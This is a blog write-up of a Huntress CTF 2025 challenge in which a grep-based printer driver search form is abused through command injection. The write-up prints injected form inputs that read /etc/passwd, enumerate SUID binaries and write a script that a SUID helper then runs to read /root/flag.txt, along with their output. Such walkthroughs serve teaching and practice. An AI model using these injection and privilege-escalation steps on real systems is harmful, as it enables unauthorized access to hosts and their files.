Day 15: Phasing Through Printers | Huntress CTF 2025 Write-Up

Huntress CTF 2025 - Day 15: Phasing Through Printers

Exploiting vulnerabilities in websites using XSS, SQL injection, and command injection is some of the most challenging but rewarding experiences. The following is the description for the Day 15 challenge:

I found this printer on the network, and it seems to be running… a weird web page… to search for drivers? Here is some of the code I could dig up.

Escalate your privileges and uncover the flag in the root user’s home directory.

The password to the ZIP archive below is phasing_through_printers.


Initial Analysis

The challenge provided a webpage and a form titled Printer Driver Search. It looks like the purpose for this page is to search for printer drivers.

To start, I reviewed the search.c source code that was provided. It accepts user input from the webform, then decodes the URL encoding to convert hexadecimal values to their ASCII equivalent. For example, in the string passed from the webpage to search.c, a %20 in the URL would be converted to a space.

That decoded input then becomes a shell string like this:

"grep -R -i " + [form_user_input] + " /var/www/html/data/printer_drivers.txt"

The intended purpose of that command is to search the printer_drivers.txt file for a string using grep. However, by adding additional commands into the form on the website, we might be able to do more than just search the printer_drivers.txt file for a driver.

Testing for Command Injection Vulnerability

To test for command injection vulnerabilities, we can attempt to add a simple command to the form and submit it. Going back to the shell string discovered in initial analysis, this form input essentially makes grep search for x, injects a command to retrieve the contents of the /etc/passwd file, and places a # at the end to comment out the /var/www/html/data/printer_drivers.txt file.

x; cat /etc/passwd; #

The output? The website displayed the entire /etc/passwd file, proving that it is vulnerable to command injection.

root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin 
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

Attempting to Escalate Privileges

Since the goal is to retrieve the flag from the /root directory, we can do an easy test to see if we have permission to access the /root directory. Using the same payload format as above, we can attempt to grab the contents of /root/flag.txt and redirect standard errors to the standard output by adding 2>&1 to the file (this allows us to see any error messages).

I entered the following text on the form and clicked Search.

x; cat /root/flag.txt 2>&1; #

The output? Unfortunately, we don’t have permissions to the /root directory.

cat: /root/flag.txt: Permission denied

Escalating Privileges

Because we will need escalated privileges for this challenge, I began by searching for files with the SUID bit which yielded an interesting result.

x; find / -perm -4000 2>/dev/null; #
/usr/bin/mount 
/usr/bin/chfn 
/usr/bin/passwd 
/usr/bin/umount 
/usr/bin/gpasswd 
/usr/bin/su 
/usr/bin/newgrp 
/usr/bin/chsh 
/usr/local/bin/admin_help

All of the files above are pretty standard except for the /usr/local/bin/admin_help binary file. Let’s search it for strings to see if we can find out what it does:

x; strings /usr/local/bin/admin_help; #
/lib64/ld-linux-x86-64.so.2 
fgets 
puts 
perror 
setuid 
fopen 
system 
strstr 
__libc_start_main 
__cxa_finalize 
fclose 
geteuid 
libc.so.6 
GLIBC_2.2.5 
GLIBC_2.34 
_ITM_deregisterTMCloneTable 
__gmon_start__ 
_ITM_registerTMCloneTable 
PTE1 
u+UH 
/tmp/wisUSH 
wish.sh 
[]A\ 
[]A\ 
Error opening original file 
Bad String in File. 
Your wish is my command... maybe :) 
chmod +x /tmp/wish.sh && /tmp/wish.sh 
;*3$" 
GCC: (Debian 12.2.0-14+deb12u1) 12.2.0 
Scrt1.o 

# --- Excess code omitted ---

Interestingly, the line chmod +x /tmp/wish.sh && /tmp/wish.sh from the output above, is used to make the /tmp/wish.sh script executable and immediately run it after. This could be a way to gain access to the /root directory.

With this new find, I attempted to run the binary file and execute the /tmp/wish.sh script. Interestingly, the file does not appear to exist.

x; /usr/local/bin/admin_help /tmp/wish.sh 2>&1; #
Error opening original file: No such file or directory
Your wish is my command... maybe :)
Bad String in File.

Creating the Shell Script

To list the contents of the /tmp directory, I first ran this command. As suspected, there was nothing in the directory.

x; ls -la /tmp/; #

To create the shell script, we will run this command.

x; touch /tmp/wish.sh; #

Since the returned page is blank, we can confirm it was created by running the prior command again. It was successfully created!

Adding Purpose to the Shell Script

To make the script functional, I decided to add two lines. One to specify the bash interpreter, and another to capture the flag in the root directory.

x; echo "#!/bin/bash" >> /tmp/wish.sh 2>&1; #
x; echo "cat /root/flag.txt" >> /tmp/wish.sh 2>&1; #

I confirmed these lines were added by running this command.

x; cat /tmp/wish.sh 2>&1; #

Executing the Payload

Next, to execute this payload! We can run the same command as before.

x; /usr/local/bin/admin_help /tmp/wish.sh 2>&1; #

Unfortunately, we still got an error about Bad String in File. This points to the shell script in /tmp/wish.sh containing unnecessary content. Instead of defining the shell interpreter, I went ahead and made the script a single line by running this command which overwrites the existing file contents due to the single > symbol.

x; echo "cat /root/flag.txt" > /tmp/wish.sh 2>&1; #

I checked the file one last time to make sure it was correct.

x; cat /tmp/wish.sh 2>&1; #

Finding the Flag

After making those changes to the shell script, I executed the payload once more.

x; /usr/local/bin/admin_help /tmp/wish.sh 2>&1; #

And captured the flag which was flag{93541544b91b7d2b9d61e90becbca309}!




Enjoy Reading This Article?

Here are some more articles you might like to read next:

  • How to Create Custom Fields to Monitor BitLocker Keys in ConnectWise RMM
  • 2025 Cyber Sentinel Challenge — Hoasted Toasted Write-Up
  • Day 19: XMDR | Huntress CTF 2025 Write-Up
  • Day 11: Trashcan | Huntress CTF 2025 Write-Up
  • Most Helpful Commands for Windows Systems